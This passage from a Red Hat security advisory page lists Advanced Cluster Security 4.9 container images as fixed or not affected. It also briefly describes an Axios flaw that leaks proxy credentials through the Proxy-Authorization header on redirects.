| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Axios, a promise-based HTTP client, specifically in its Node.js HTTP adapter. When Axios is configured to use an authenticated proxy and follows a redirect, it may inadvertently send the Proxy-Authorization header, containing proxy credentials, to the redirect target. This can lead to the disclosure of sensitive proxy credentials to an unintended remote server.
7.5 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x | — |
Vendor Fix
fix
Workaround
|
Known not affected
41 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Axios. During specific proxy-to-direct redirect flows in the Node.js HTTP adapter, a remote attacker could exploit this vulnerability. The Proxy-Authorization header, which contains proxy credentials and is intended only for the outbound proxy, may be forwarded to the final redirected origin. This can lead to the disclosure of sensitive proxy credentials to an unintended third party.
7.5 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x | — |
Vendor Fix
fix
Workaround
|
Known not affected
41 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64 | — |
Workaround
|
|
